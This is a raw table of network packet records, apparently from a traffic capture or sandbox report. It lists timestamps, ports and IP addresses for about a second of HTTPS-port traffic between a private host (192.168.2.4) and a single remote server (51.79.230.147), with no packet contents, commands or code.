Dec 30, 2024 19:45:12.020833015 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.020840883 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.020858049 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.020879030 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.021068096 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.021084070 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.021120071 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.021125078 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.021155119 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.021168947 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.021403074 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.021420002 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.021459103 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.021466017 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.021492004 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.021508932 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.021665096 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.021687984 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.021723986 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.021730900 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.021754026 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.021770000 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.154865026 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.154886007 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.154954910 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.154963970 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.154994965 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.155014038 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.155167103 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.155185938 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.155236959 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.155244112 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.155282974 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.155416965 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.155431986 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.155467987 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.155473948 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.155503988 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.155514002 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.156027079 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.156042099 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.156091928 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.156100035 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.156143904 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.156353951 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.156368971 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.156415939 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.156423092 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.156462908 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.156646967 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.156665087 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.156704903 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.156712055 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.156743050 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.156743050 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.156867027 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.156882048 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.156929016 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.156932116 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.156940937 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.156959057 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.156985044 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.157016039 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.157020092 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.157062054 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.241720915 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.241740942 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.241853952 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.241864920 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.241900921 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.242029905 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.242047071 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.242105007 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.242111921 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.242153883 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.242331028 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.242352962 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.242389917 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.242403984 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.242424965 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.242444992 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.242562056 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.242578030 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.242619038 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.242625952 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.242654085 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.242677927 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.242784977 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.242808104 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.242842913 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.242849112 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.242868900 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.242893934 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.243119955 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.243136883 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.243191957 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.243199110 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.243237972 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.243350983 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.243371010 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.243410110 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.243417978 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.243448019 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.243469954 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.243670940 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.243689060 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.243732929 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.243740082 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.243771076 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.243791103 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.378340006 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.378360033 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.378407001 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.378439903 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.378448009 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.378462076 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.378473043 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.378509998 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.378612995 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.378628016 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.378685951 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.378698111 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.378860950 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.378879070 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.378920078 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.378927946 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.378967047 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.379028082 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.379040956 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.379095078 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.379101992 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.379122972 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.379133940 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.379152060 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.379173040 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.379179955 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.379208088 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.379384995 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.379400015 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.379472017 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.379481077 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.379707098 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.379724026 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.379749060 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.379765034 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.379782915 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.464004993 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.464024067 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.464101076 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.464111090 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.464528084 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.464548111 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.464584112 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.464591980 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.464616060 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.464896917 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.464910030 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.464948893 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.464956999 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.464978933 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.465131998 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.465150118 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.465202093 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.465208054 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.465248108 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.465396881 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.465411901 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.465452909 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.465460062 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.465468884 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.465684891 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.465711117 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.465739965 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.465748072 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.465764046 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.465940952 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.465955019 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.465991974 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.466001034 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.466013908 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.466288090 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.466306925 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.466348886 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.466357946 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.466393948 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.466496944 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.550838947 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.550863028 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.550946951 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.550959110 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.551004887 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.552151918 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.552166939 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.552232981 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.552239895 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.552273035 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.552295923 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.552310944 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.552350044 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.552356005 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.552382946 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.552392006 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.552448988 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.552474976 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.552508116 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.552512884 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.552541971 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.552555084 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.552629948 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.552649975 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.552712917 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.552720070 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.552759886 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.552869081 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.552882910 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.552932978 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.552938938 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.552949905 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.552966118 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.552992105 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.553030014 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.553035021 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.553077936 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.553271055 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.553327084 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.553342104 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.553384066 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.553389072 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.553410053 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.553426981 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.553785086 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.637739897 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.637761116 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.637839079 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.637846947 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.637892962 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.638899088 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.638912916 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.638957024 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.638962984 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.638988018 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.639002085 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.639040947 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.639055967 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.639096022 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.639101982 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.639112949 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.639142036 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.639348030 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.639363050 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.639400005 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.639405966 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.639448881 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.639604092 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.639625072 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.639663935 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.639671087 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.639684916 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.639710903 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.639934063 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.639946938 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.639981985 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.639988899 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.640011072 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.640024900 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.640187979 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.640207052 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.640234947 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.640242100 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.640264034 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.640285015 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.640531063 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.640544891 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.640589952 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.640595913 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.640613079 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.640630007 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.640873909 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.724592924 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.724611998 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.724693060 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.724701881 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.724747896 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.725910902 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.725927114 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.725971937 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.725979090 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.726018906 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.726200104 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.726217985 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.726250887 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.726257086 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.726281881 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.726301908 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.726422071 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.726438046 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.726476908 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.726488113 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.726499081 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.726519108 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.726747990 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.726763010 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.726799965 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.726805925 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.726830959 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.726839066 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.727080107 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.727094889 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.727168083 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.727174044 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.727211952 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.727240086 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.727256060 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.727294922 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.727303028 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.727319956 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.727339029 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.727627993 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.727658033 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.727691889 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.727699041 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.727727890 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.727741003 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.728074074 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.811567068 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.811585903 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.811678886 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.811687946 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.811737061 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.812848091 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.812864065 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.812917948 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.812926054 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.812968016 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.813086033 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.813100100 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.813158035 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.813164949 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.813201904 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.813386917 CET	443	50050	51.79.230.147	192.168.2.4
